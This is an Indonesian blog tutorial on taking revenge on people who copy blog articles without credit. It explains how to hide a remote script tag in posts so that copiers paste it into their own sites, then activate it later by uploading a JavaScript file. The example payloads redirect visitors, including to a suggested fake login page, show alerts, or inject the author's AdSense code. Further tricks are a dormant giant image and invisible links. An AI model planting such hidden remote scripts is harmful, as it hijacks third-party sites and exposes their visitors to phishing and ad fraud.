Proteksi Blog / Website dari Copy - Paste

Istilah copy paste pada dunia internet mengacu pada duplikasi content suatu blog / website. Copy paste (Copas) sebenarnya bukan hal yang tabu dilakukan, namun yang sering terjadi adalah banyak yang melakukan copy paste tanpa mencantumkan sumbernya ! Kalau yang memang khilaf / kelupaan itu masih bisa dimaklumi, namun banyak juga yang pura -pura lupa, tidak mengakui, atau malah meledek ketika kita berikan pemberitahuan agar tidak lupa mencantumkan sumbernya.


Sedikit kesal juga rasanya kalau sudah begitu. Bahkan Cosa Aranda blogger kawakan asal Surabaya ini memiliki tempat khusus untuk orang – orang yang melakukan copy paste terhadap artikelnya tanpa izin.

Nah singkat kata berikut ini ada beberapa tips guna menanggulangi / melakukan tindakan terhadap pelaku copy paste yang tidak mencantumkan sumbernya.
Javascript Mari Bung Rebut Kembali !!!

Cara ini adalah dengan menyisipkan remote link kode javascript pada artikel blog kita, berikut adalah langkah – langkahnya.
1. Membuat file remote js:
window.location="http://www.google.com/";

Nah ganti url google.com menjadi url yang kita inginkan supaya blog si tukang copas ter-direct. Bisa diset ke url blog kita, atau fake login (kalau mau lebih jahat lagi :D ) lalu copy dan paste ke teks editor seperti notepad, kemudian di save as dalam format .js. Misal nama filenya jadi: script.js.
Simpan dulu file ini… lalu rencanakanlah tempat menguploadnya misal:
http://urltempatscriptjs/
tapi jangan di upload dulu….

2. Langkah berikutnya adalah menyisipkan kode pemanggil remote pada artikel kita:
<script src="http://urltempatscriptjs/script.js" type="text/javascript"></script>

Nah, perhatikanlah url http://urltempatscriptjs adalah tempat kita tadi merencanakan untuk melakukan upload remote script di langkah sebelumnya. Dimana bagusnya menyisipkan kode ini? Letakan dimana saja yang penting didalam artikel kita. Kode ini tidak akan terlihat. Nah kode remote ini belum aktif jika kita belum meng-upload file script.js tadi.

Berdasarkan pengamatan, para tukang copas ini cenderung pemalas, jadi bisa disimpulkan mereka biasanya langsung saja melakukan seleksi pada artikel kita lalu ctrl+c dan kemudian ctrl+v pada blog mereka. Ketika mereka melakukan proses copas tadi, maka kode ini akan ikut ter-copas, ini berarti kita telah meletakan remote pada artikel blog mereka yang sewaktu – waktu bisa kita aktifkan dengan efek yang bervariasi.

3. Saat tepat mengaktifkannya
Adalah jika sudah ada yang mulai copy paste namun membandel, itulah saatnya kita mengaktifkannya, caranya adalah dengan melakukan upload file remote kita tadi script.js ke tempat yang telah kita rencanakan sebelumnya http://urltempatscriptjs/script.js segera setelah kita mengaktifkannya maka halaman blog target akan menjalankan perintah dari remote file tadi, dalam hal ini fungsi redirect.

Beberapa fungsi javascript lainnya selain redirect:

- Javascript alert (isi dri file .js):
alert ("Artikel ini copas dari blog saya ya..")

- Javascript Google adsense / lainnya:
Yang disisipkan pada artikel:
<script src="http://urltempatscriptjs/adsense.js" type="text/javascript"></script>
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"> </script>

Isi dari file adsense.js (contoh saja, sesuaikan dengan kode adsense anda):

google_ad_client = "pub-9270884769152389";
/* 160×600, created 6/25/08 - mp3 */
google_ad_slot = "1311703903";
google_ad_width = 160;
google_ad_height = 600;
//–>

dan lainnya, pokoknya gunakan code javascript pasti berfungsi, kreatif aja deh :D
Gambar Segede Gaban

Hehehe.. prinsipnya sama, yaitu dengan menyisipkan kode pada artikel kita, namun kode yang dimasukan adalah kode html untuk gambar:

<img src="http://urltempatgambar/gambargaban.jpg" />

metodenya sama dengan yang Javascript tadi, cuma yang ditunda uploadnya kali ini adalah file gambar: gambargaban.jpg. Selama gambar tersebut belum kita upload, maka tidak akan terlihat di artikel kita. Nantinya kalau sudah mau dieksekusi kita bisa set ukuran dan isi gambarnya. Misal kita set 10000X10000 px ukuran gambarnya :D , atau kita bikin standar saja misal 468X60px namun kita sisipkan pesan moral untuk tidak copy paste sembarangan.
Softly But Sure

Ini adalah cara paling halus, yaitu meletakan url yang tidak terlihat pada artikel kita agar ketika di copas ikut terbawa.

<a href="http://blogkita/judulartikel/trackback/">.</a>

Perhatikan tanda titik (.) ditengah itu akan menjadi anchor dari url kita
Atau bisa juga url disisipkan pada sembarang kata ditengah artikel, namanya juga tukang copas pemalas, pastinya tidak akan begitu memperhatikan :D .

    Tips:
    Jika kita malas meletakan satu persatu kode pemanggilnya pada artikel kita, maka kita bisa meletakannya pada template kita sehingga akan berdampak pada seluruh artikel kita.

    Jika kita sudah ingin mengaktifkannya, jangan lupa menghapus / ganti kode yang ada di blog kita atau blog kita akan juga terkena imbasnya, beritahukan juga kepada pihak yang telah copy paste secara jujur dan mencantumkan url kita.

Sekali lagi sebelum kita mengeksekusi remote ini hendaknya perlu dilakukan pendekatan persuasif dulu, karena bisa saja yang bersangkutan khilaf mencantumkan url kita sebagai referensi. Berdasar pengalaman saya dari 12 blog maka 10 diantaranya ternyata khilaf, ini berarti hanya ada 2 yang memang tidak berniat mencantumkan referensi, yang 1 sudah saya tindak :D yang satu lagi masih menunggu niat baiknya, karena memang baru saja 10 hari saya mengirim email, bisa saja ybs belum online lagi.

Jangankan mereka, mungkin saja saya juga pernah khilaf dalam hal copy paste, oleh karena itu, bagi yang memiliki niat baik dalam nge-blog wajib mencantumkan halaman disclaimer / report abuse dsb guna menampung keluhan seputar copy paste.

Sumber :  http://eh.web.id